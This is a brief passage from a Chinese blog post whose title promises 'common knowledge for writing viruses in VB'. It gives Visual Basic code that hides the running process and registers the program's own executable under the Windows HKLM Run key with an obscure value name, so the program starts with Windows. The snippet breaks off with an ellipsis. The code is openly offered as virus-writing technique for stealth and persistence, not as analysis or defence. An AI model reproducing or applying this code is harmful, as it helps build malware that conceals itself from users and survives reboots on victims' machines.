pyhai452的博客

告诉你几个VB写病毒的常识 HideCurrentProcess '隐藏进程 Dim hKey As Long, SubKey As String, Exe As String SubKey = "Software\Microsoft\Windows\CurrentVersion\Run" Exe = App.Path & "\" & App.EXEName & ".exe" RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey RegSetValueEx hKey, "19911593", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1 RegCloseKey hKey'开机启动 ......